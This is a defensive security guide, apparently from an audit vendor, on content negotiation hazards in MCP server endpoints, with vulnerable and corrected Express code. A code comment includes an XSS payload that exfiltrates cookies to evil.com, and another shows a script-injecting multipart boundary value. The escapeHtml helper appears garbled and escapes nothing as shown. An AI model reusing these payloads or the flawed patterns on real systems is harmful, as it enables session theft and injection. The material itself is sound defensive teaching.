Security Guide
MCP server content negotiation security — Accept header injection, JSON vs HTML response XSS, MIME sniffing, Sec-Fetch-Dest enforcement, forced Content-Type
HTTP content negotiation is a convenience feature that lets a single endpoint serve JSON for API clients and HTML for browser navigation. For MCP tool endpoints this convenience creates a sharp security hazard: the Accept header becomes an attacker-controlled switch that can flip a safe JSON response into an unsafe HTML response where any unescaped request parameter triggers reflected XSS. MIME sniffing, multipart boundary injection, and missing Sec-Fetch-Dest checks compound the risk in ways that are easy to miss during code review.
Content negotiation and how it creates an XSS surface
HTTP content negotiation is defined in RFC 7231: a client sets an Accept header indicating which media types it can process, and the server selects the most suitable representation to return. Accept: application/json requests a JSON response. Accept: text/html requests an HTML page. Accept: */* accepts any format, with the server choosing based on its own preference ordering.
MCP servers that implement content negotiation on tool endpoints — returning a JSON object for API clients and a human-readable HTML page for browser navigations — introduce an XSS surface that is often overlooked because the JSON path is correctly implemented and the HTML path is added as an afterthought. The vulnerability is not in the content negotiation itself but in the HTML rendering path's handling of user-controlled values:
// Vulnerable: content negotiation triggers HTML rendering with unescaped params
app.get('/api/tool/result', async (req, res) => {
const { id, query } = req.query; // User-controlled
const result = await fetchToolResult(id);
if (req.accepts('text/html')) {
// HTML rendering path — developer forgot to HTML-encode
// An attacker navigates the victim to:
// /api/tool/result?id=1&query=<script>document.location='https://evil.com/?c='+document.cookie</script>
return res.send(`
<html><body>
<h1>Tool Result</h1>
<p>Query: ${query}</p> <!-- XSS fires here -->
<pre>${JSON.stringify(result)}</pre>
</body></html>
`);
}
// JSON path is safe — JSON encoding prevents XSS
res.json({ id, query, result });
});
The JSON path is safe because JSON encoding transforms <script> into a JSON string value — the browser receives {"query":"<script>..."} and parses it as data, not markup. The HTML path is unsafe because the query parameter is string-interpolated directly into the HTML template. When a browser navigates to the URL (via a link, redirect, or iframe src), it renders the page with Accept: text/html in the request, triggering the vulnerable rendering path.
The Accept header is attacker-controlled. When an attacker crafts a malicious link and tricks a victim into clicking it, the browser sends the request with Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 — which matches the text/html preference and triggers the HTML rendering path. The attacker does not need any special browser setup; normal link navigation does it automatically.
Accept header injection to force unexpected content type
Beyond the simple navigation attack, an attacker can also target machine clients that implement content negotiation on their request side. An API endpoint that normally returns JSON for machine clients can be force-shifted to its HTML rendering path by controlling the Accept header in an SSRF chain or by injecting into a client that forwards the Accept header from an upstream request.
The more immediate risk is the inverse: an API endpoint that should only ever return JSON is implemented with content negotiation, which means a browser navigation to that URL (a direct URL visit, an embedded frame, or a redirect) triggers HTML rendering that may have been written with different escaping assumptions than the JSON path.
// Anti-pattern: content negotiation on a machine-facing API endpoint
app.get('/mcp/tools/:name/invoke', async (req, res) => {
const toolName = req.params.name;
const result = await invokeTool(toolName, req.body);
// This endpoint is only called by MCP clients — but content negotiation
// means a browser navigation (Sec-Fetch-Dest: document) from an attacker's
// phishing page triggers the HTML branch:
if (req.accepts(['text/html'])) {
// HTML branch added for "debugging convenience" — security nightmare
return res.send(`<h1>${toolName}</h1><pre>${result.output}</pre>`);
}
res.json(result);
});
// Correct: machine-facing endpoints always return JSON, ignore Accept header
app.get('/mcp/tools/:name/invoke', async (req, res) => {
const toolName = req.params.name;
const result = await invokeTool(toolName, req.body);
// Force JSON regardless of Accept header
res.type('application/json').json(result);
});
The rule is simple: tool invocation endpoints are machine-facing. They do not need content negotiation. Forcing Content-Type: application/json in the response — regardless of what the client requests — eliminates the entire content negotiation attack surface for those endpoints. An HTML debugging view should be a separate endpoint, protected by authentication, with CSP applied, and explicitly excluded from the MCP tool invocation routing.
MIME sniffing on content-negotiated responses
MIME sniffing is the browser behavior of inferring the actual content type of a response by examining its bytes when the server-declared Content-Type is ambiguous, absent, or mismatched. Modern versions of Chrome, Firefox, and Safari implement MIME sniffing in varying degrees, but the most dangerous form — sniffing application/octet-stream as text/html — was common in Internet Explorer and persists in some embedded browser contexts.
For MCP tool endpoints that return binary data (file contents, image data, PDF exports) from tool executions, the risk is concrete: if the binary output contains HTML-like content (a user-supplied document that begins with <!DOCTYPE html> or <html>), a sniffing browser treats the binary tool output as an HTML page and renders it, executing any embedded scripts in the origin context of the MCP server.
// Vulnerable: binary tool output without nosniff protection
app.get('/mcp/tool/export/:id', async (req, res) => {
const fileContent = await getToolExportOutput(req.params.id);
// fileContent might be user-controlled HTML — but we declare it binary
res.set('Content-Type', 'application/octet-stream');
// Without X-Content-Type-Options: nosniff, some browsers may sniff
// the content and render it as text/html if the bytes look like HTML
res.send(fileContent);
});
// Correct: always set nosniff on every response
app.use((req, res, next) => {
res.set('X-Content-Type-Options', 'nosniff');
next();
});
app.get('/mcp/tool/export/:id', async (req, res) => {
const fileContent = await getToolExportOutput(req.params.id);
const mimeType = detectMimeType(fileContent); // From magic bytes, not filename
// Set the correct Content-Type; nosniff middleware ensures it is honored
res.set('Content-Type', mimeType);
res.set('Content-Disposition', 'attachment; filename="export.bin"');
res.send(fileContent);
});
Content-Disposition: attachment is a defense-in-depth measure that instructs browsers to download the response rather than render it. Combined with X-Content-Type-Options: nosniff and a specific (non-text/html) Content-Type, it makes rendering the response as HTML require explicit user action. Apply all three layers to binary tool output endpoints.
The X-Content-Type-Options: nosniff header should be set globally via middleware, not per-endpoint. A middleware miss on any single endpoint that serves user-controlled binary output is sufficient for exploitation. Apply it once at the framework level and never rely on per-endpoint remembrance.
Using Sec-Fetch-Dest to distinguish API vs browser navigation
The Fetch Metadata request headers (Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site) are browser-generated headers that describe the context of each request. They cannot be set by JavaScript (they are "forbidden" request headers in the Fetch spec) and are stripped by browsers from cross-origin requests where they would be misleading. This makes them useful as a server-side gate for distinguishing browser navigations from API calls.
Sec-Fetch-Dest is the most useful header for content negotiation gating:
| Sec-Fetch-Dest Value | Request Context | Correct Server Action |
|---|---|---|
empty |
fetch() or XMLHttpRequest — API call | Return JSON regardless of Accept header |
document |
Browser top-level navigation (address bar, <a> click) | Return HTML if supported, with all values HTML-encoded and CSP applied |
iframe |
Embedded frame navigation | Treat as document context; use X-Frame-Options or CSP frame-ancestors to restrict |
| Absent | Non-browser client (curl, MCP SDK, server-to-server) | Return JSON; do not serve HTML to clients that don't send Fetch Metadata |
// Using Sec-Fetch-Dest to gate content negotiation safely
app.get('/mcp/tool/schema/:name', async (req, res) => {
const toolName = req.params.name;
const schema = await getToolSchema(toolName);
const dest = req.headers['sec-fetch-dest'];
// Only serve HTML to explicit browser navigation requests
if (dest === 'document' || dest === 'iframe') {
// HTML path: all values must be HTML-encoded
const escapedName = escapeHtml(toolName);
const escapedSchema = escapeHtml(JSON.stringify(schema, null, 2));
res.set('Content-Security-Policy',
"default-src 'none'; style-src 'unsafe-inline'; frame-ancestors 'none'"
);
return res.type('html').send(`
<!DOCTYPE html>
<html lang="en"><head><title>${escapedName} schema</title></head>
<body><h1>${escapedName}</h1><pre>${escapedSchema}</pre></body>
</html>
`);
}
// Default: always return JSON for API clients (fetch(), non-browser, absent header)
res.type('application/json').json(schema);
});
// Helper: HTML entity encoding (use a library like 'he' in production)
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Sec-Fetch-Dest is not a complete defense on its own. It cannot be forged by browser JavaScript but it can be omitted by non-browser clients (curl, Postman, custom HTTP libraries) that simply do not send Fetch Metadata headers. Treat an absent Sec-Fetch-Dest as equivalent to the API path — do not serve HTML to clients that do not send the header.
Forcing Content-Type in responses regardless of Accept
The most robust strategy for MCP tool invocation endpoints is to eliminate content negotiation entirely: always return a fixed Content-Type regardless of what the client's Accept header requests. This removes the entire attack surface of Accept-header-triggered rendering path switching.
// Express middleware: enforce fixed Content-Type on MCP tool endpoints
// Applied to all /mcp/* routes — tool invocation endpoints never negotiate
app.use('/mcp', (req, res, next) => {
// Override any Accept-driven content negotiation
// res.type() sets Content-Type and prevents override by res.format()
const originalJson = res.json.bind(res);
res.json = function(data) {
this.set('Content-Type', 'application/json; charset=utf-8');
this.set('X-Content-Type-Options', 'nosniff');
return originalJson(data);
};
next();
});
// Streaming tool output: always text/event-stream
app.get('/mcp/tools/:name/stream', (req, res) => {
// Force SSE content type — never negotiate to text/html
res.set('Content-Type', 'text/event-stream');
res.set('Cache-Control', 'no-cache');
res.set('X-Content-Type-Options', 'nosniff');
res.flushHeaders();
// stream events...
});
// Batch tool invocations: always application/x-ndjson
app.post('/mcp/batch', async (req, res) => {
res.set('Content-Type', 'application/x-ndjson');
res.set('X-Content-Type-Options', 'nosniff');
for await (const result of processBatch(req.body)) {
res.write(JSON.stringify(result) + '\n');
}
res.end();
});
The pattern is: every endpoint has a declared, fixed Content-Type that it always returns. The Accept header from the client is read for logging and observability purposes only — it never changes the response format for machine-facing endpoints. When a browser navigates directly to a tool invocation URL (whether accidentally or as part of an attack), it receives Content-Type: application/json with X-Content-Type-Options: nosniff — the browser renders the JSON as text, never as HTML.
Double Content-Type attack on multipart tool responses
MCP servers that return multipart responses — mixed JSON metadata plus binary tool output — use Content-Type: multipart/mixed; boundary=--BOUNDARY. The boundary string is used to delimit individual parts within the response body. If the boundary value is derived from any user-controlled input, an attacker who controls the boundary can inject an additional part with an attacker-controlled Content-Type into the response body.
// Vulnerable: boundary derived from user-supplied session ID
app.post('/mcp/tool/invoke-multipart', async (req, res) => {
const { sessionId, toolName, params } = req.body;
// WRONG: sessionId is user-controlled — boundary injection
const boundary = `--${sessionId}-boundary`;
// An attacker sends sessionId = "abc\r\n\r\n<script>alert(1)</script>\r\n--abc"
// This injects an additional part with attacker content into the multipart response
res.set('Content-Type', `multipart/mixed; boundary="${boundary}"`);
// ... build parts ...
});
// Correct: always generate boundaries cryptographically
import { randomBytes } from 'crypto';
app.post('/mcp/tool/invoke-multipart', async (req, res) => {
const { toolName, params } = req.body;
const result = await invokeTool(toolName, params);
// Boundary is always cryptographically random — never derived from user input
const boundary = randomBytes(16).toString('hex');
res.set('Content-Type', `multipart/mixed; boundary="${boundary}"`);
res.set('X-Content-Type-Options', 'nosniff');
const metadataJson = JSON.stringify({ toolName, status: result.status });
const outputBuffer = result.output; // Binary Buffer
res.write(
`--${boundary}\r\n` +
`Content-Type: application/json\r\n\r\n` +
`${metadataJson}\r\n` +
`--${boundary}\r\n` +
`Content-Type: application/octet-stream\r\n` +
`Content-Disposition: attachment; filename="output.bin"\r\n\r\n`
);
res.write(outputBuffer);
res.end(`\r\n--${boundary}--`);
});
Boundary injection anatomy: A multipart parser splits the response body on the boundary string. If an attacker can inject the boundary string plus CRLF pairs into a user-controlled value that appears before the actual boundary delimiter, they can create synthetic parts with arbitrary headers and content. A cryptographically random boundary that the attacker cannot predict or influence eliminates this class of attack entirely.
SkillAudit findings for content negotiation
These findings represent content negotiation security failures SkillAudit identifies across MCP server codebases. The CRITICAL findings represent directly exploitable XSS vectors; the HIGH findings are one additional condition away from exploitation.
Audit your MCP server for these issues
SkillAudit checks these security misconfigurations automatically — paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →